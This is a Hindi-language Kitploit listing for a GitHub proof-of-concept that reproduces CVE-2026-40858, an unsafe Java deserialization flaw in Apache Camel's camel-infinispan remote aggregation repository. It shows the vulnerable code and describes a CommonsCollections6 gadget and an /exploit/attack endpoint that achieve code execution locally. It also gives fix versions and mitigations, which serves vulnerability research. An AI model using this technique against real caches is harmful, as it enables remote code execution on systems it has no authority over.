Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-40858 — CVE-2026-40858 के लिए पुनरुत्पादक — Apache Camel camel-infinispan दूरस्थ एकत्रीकरण रिपॉजिटरी असुरक्षित डिसीरियलाइज़ेशन (RCE) | Kitploit
उपकरण/GitHubGitHub/oscerd/cve-2026-40858
भेद्यता विश्लेषणशोषणपेपर और शोधलर्निंग और शिक्षाबाइनरी शोषण
GitHuboscerd/cve-2026-40858

CVE-2026-40858

CVE-2026-40858 के लिए पुनरुत्पादक — Apache Camel camel-infinispan दूरस्थ एकत्रीकरण रिपॉजिटरी असुरक्षित डिसीरियलाइज़ेशन (RCE)

रिपॉजिटरी देखें
122 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

camel-infinispan रिमोट एग्रीगेशन रिपॉजिटरी असुरक्षित डिसीरियलाइज़ेशन पुनरुत्पादक (CVE-2026-40858)

यह प्रोजेक्ट Apache Camel के camel-infinispan घटक में एक Java डिसीरियलाइज़ेशन भेद्यता को प्रदर्शित करता है, जिसे CVE-2026-40858 के रूप में ट्रैक किया गया है। ProtoStream-आधारित रिमोट एग्रीगेशन रिपॉजिटरी प्रत्येक एकत्रित Exchange को एक रिमोट Infinispan कैश में सीरियलाइज़ करता है और जब वह किसी प्रविष्टि को वापस पढ़ता है (get() / recover() पर), तो उसे java.io.ObjectInputStream और बिना किसी ObjectInputFilter के डिसीरियलाइज़ करता है। एक हमलावर जो बैकिंग कैश में लिख सकता है, वह एक गढ़ी हुई सीरियलाइज़्ड वस्तु लगा सकता है और रिमोट कोड निष्पादन प्राप्त कर सकता है, जब अगली बार रिपॉजिटरी उस कुंजी को पढ़ती है।

परामर्श: https://camel.apache.org/security/CVE-2026-40858.html

भेद्यता सारांश

गुणमान
घटकcamel-infinispan (रिमोट / HotRod एग्रीगेशन रिपॉजिटरी)
प्रभावित वर्गorg.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter → DefaultExchangeHolderUtils.deserialize(byte[])
CWECWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन
प्रभावरिमोट कोड निष्पादन (RCE)
प्रभावित संस्करण4.0.0 से पहले 4.14.7, 4.15.0 से पहले 4.18.2, 4.19.0 से पहले 4.20.0
फिक्स्ड संस्करण4.14.7, 4.18.2, 4.20.0
JIRACAMEL-23322
रिपोर्टरFeng Ning (Innora Pte. Ltd.)

तकनीकी विवरण

InfinispanRemoteAggregationRepository प्रत्येक Exchange को DefaultExchangeHolder के रूप में संग्रहीत करता है। ProtoStream मार्शलर के साथ, उस होल्डर को DefaultExchangeHolderProtoAdapter द्वारा अनुकूलित किया जाता है, जिसका ProtoStream फ़ील्ड #1 होल्डर है जो एक सादे ObjectOutputStream के साथ सीरियलाइज़ किया गया है। वापस आने पर, एडॉप्टर उन बाइट्स को DefaultExchangeHolderUtils.deserialize को सौंपकर होल्डर का पुनर्निर्माण करता है:

root@kitploit:~
// DefaultExchangeHolderUtils.deserialize(byte[]) - प्रभावित संस्करण
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
    ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
    ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
    return (DefaultExchangeHolder) ois.readObject();   // कोई ObjectInputFilter नहीं
}

ClassLoadingAwareObjectInputStream हल करने योग्य वर्गों के सेट को प्रतिबंधित करने के बजाय विस्तृत करता है, इसलिए readObject() क्लासपाथ पर मौजूद किसी भी गैजेट श्रृंखला को तुरंत उत्पन्न करेगा। चूंकि बाइट्स सीधे रिमोट कैश से आते हैं, कोई भी जो उस कैश कुंजी को लिख सकता है, डिसीरियलाइज़ेशन स्ट्रीम को नियंत्रित करता है — और गैजेट readObject() के दौरान फायर होता है, इससे पहले कि मान को कभी DefaultExchangeHolder में डाला जाए।

पीड़ित कॉन्फ़िगरेशन

एक रूट (या, यहाँ, एप्लिकेशन कोड) रिमोट एग्रीगेशन रिपॉजिटरी का उपयोग करता है जो Infinispan सर्वर द्वारा समर्थित है:

root@kitploit:~
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig);   // Infinispan सर्वर की ओर इंगित करता है

InfinispanRemoteAggregationRepository repo =
        new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();

// ... एकत्रीकरण के दौरान Camel repo.add(...) / repo.get(...) / repo.recover(...) को कॉल करता है

किसी भी get() / recover() पर, जिसकी संग्रहीत मान में छेड़छाड़ की गई हो, सिंक ट्रिगर होता है।

रिपॉजिटरी लेआउट — जहाँ भेद्य कोड चलता है

भेद्य Camel कोड एप्लिकेशन (होस्ट पर) में चलता है; Infinispan सर्वर Docker में रिपॉजिटरी के बैकिंग स्टोर के रूप में चलता है। यह दर्शाता है कि रिपॉजिटरी व्यवहार में कैसे तैनात की जाती है: अविश्वसनीय डेटा साझा कैश में रहता है।

root@kitploit:~
CVE-2026-40858/
├── pom.xml                 # camel-infinispan 4.18.1 + commons-collections 3.2.1 (गैजेट)
├── docker-compose.yml      # quay.io/infinispan/server:16.1 (रिमोट कैश)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── InfinispanRepoService.java   # InfinispanRemoteAggregationRepository बनाता + शुरू करता है
    │   ├── Gadget.java                  # CommonsCollections6 गैजेट, readObject() के दौरान फायर होता है
    │   └── ExploitController.java       # /exploit/attack: गैजेट-बॉडी वाला होल्डर लगाता है, फिर उसे पढ़ता है
    └── resources/
        └── application.properties

PoC शॉर्टकट पर ध्यान दें। एक वास्तविक हमलावर दुर्भावनापूर्ण बाइट्स को सीधे साझा Infinispan कैश में लिखता है। पुनरुत्पादक को आत्म-निहित रखने के लिए, /exploit/attack एक ही रिपॉजिटरी (repo.add(...) एक्सचेंज बॉडी के रूप में गैजेट के साथ) के माध्यम से मान लगाता है और फिर पढ़ने को ट्रिगर करने के लिए repo.get(...) को कॉल करता है। गैजेट को निष्पादित करने वाला सिंक Camel का अपना readObject() है, ठीक वैसे ही जैसे यह किसी भी हमलावर-छेड़छाड़ वाली कैश प्रविष्टि पर फायर होगा।

पूर्वावश्यकताएँ

  • Java 17+ और Maven 3.8+
  • Docker (Infinispan सर्वर चलाता है)

पुनरुत्पादन चरण

चरण 1: Infinispan सर्वर शुरू करें

root@kitploit:~
docker compose up -d
# तैयार होने तक प्रतीक्षा करें:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
     http://localhost:11222/rest/v2/cache-managers/default/health/status   # -> 200

चरण 2: भेद्य एप्लिकेशन बनाएँ और चलाएँ

CommonsCollections6 गैजेट को रिफ्लेक्शन के माध्यम से java.util में लाइव असेंबल किया गया है, इसलिए JVM को --add-opens java.base/java.util=ALL-UNNAMED के साथ शुरू किया जाना चाहिए:

root@kitploit:~
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
     -jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar

चरण 3: डिसीरियलाइज़ेशन (RCE) ट्रिगर करें

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
#    >>> RCE प्रमाण — /tmp/pwned मौजूद है: true

/tmp/pwned गैजेट द्वारा (touch /tmp/pwned) बनाया गया है, जबकि रिपॉजिटरी लगाए गए कैश मान को डिसीरियलाइज़ करती है।

सफाई

root@kitploit:~
docker compose down
rm -f /tmp/pwned

हमले के वेक्टर

कोई भी तैनाती जो InfinispanRemoteAggregationRepository (ProtoStream मार्शलिंग) का उपयोग एक ऐसे कैश के विरुद्ध करती है जिसमें हमलावर लिख सकता है। कैश लेखन पहुँच एक साझा/मल्टी-टेनेंट Infinispan क्लस्टर, एक नेटवर्क-पहुँच योग्य HotRod एंडपॉइंट, या किसी अन्य उत्पादक से आ सकती है जो उसी कैश में डेटा लैंड करता है।

शोषण शर्तें

  1. एक camel-infinispan रिमोट एग्रीगेशन रिपॉजिटरी एक कैश से पढ़ रही है जिसमें हमलावर लिख सकता है।
  2. क्लासपाथ पर एक गैजेट लाइब्रेरी (यहाँ commons-collections:3.2.1)।

अनुशंसित फिक्स

4.14.7 / 4.18.2 / 4.20.0 पर अपग्रेड करें। फिक्स होल्डर डिसीरियलाइज़ेशन पर एक ObjectInputFilter / क्लास अनुमति-सूची लागू करता है, जो अन्य Camel एग्रीगेशन रिपॉजिटरी (camel-leveldb, camel-cassandraql, camel-jms) और camel-mina / camel-netty पर लागू किए गए सख्तीकरण से मेल खाता है।

शमन

अपग्रेड करने तक:

  1. Infinispan कैश को एक विश्वास सीमा के रूप में मानें — प्रतिबंधित करें कि एग्रीगेशन कैश में कौन लिख सकता है।
  2. क्लासपाथ से गैजेट लाइब्रेरी हटाएँ (commons-collections 3.x और समान को अपग्रेड/हटाएँ)।
  3. Infinispan HotRod एंडपॉइंट को प्रमाणीकरण सक्षम के साथ एक विश्वसनीय नेटवर्क पर रखें।

अस्वीकरण

यह पुनरुत्पादक केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और फिक्स भेद्यता के लिए। इसका उपयोग स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध न करें।

टूल डाउनलोड करें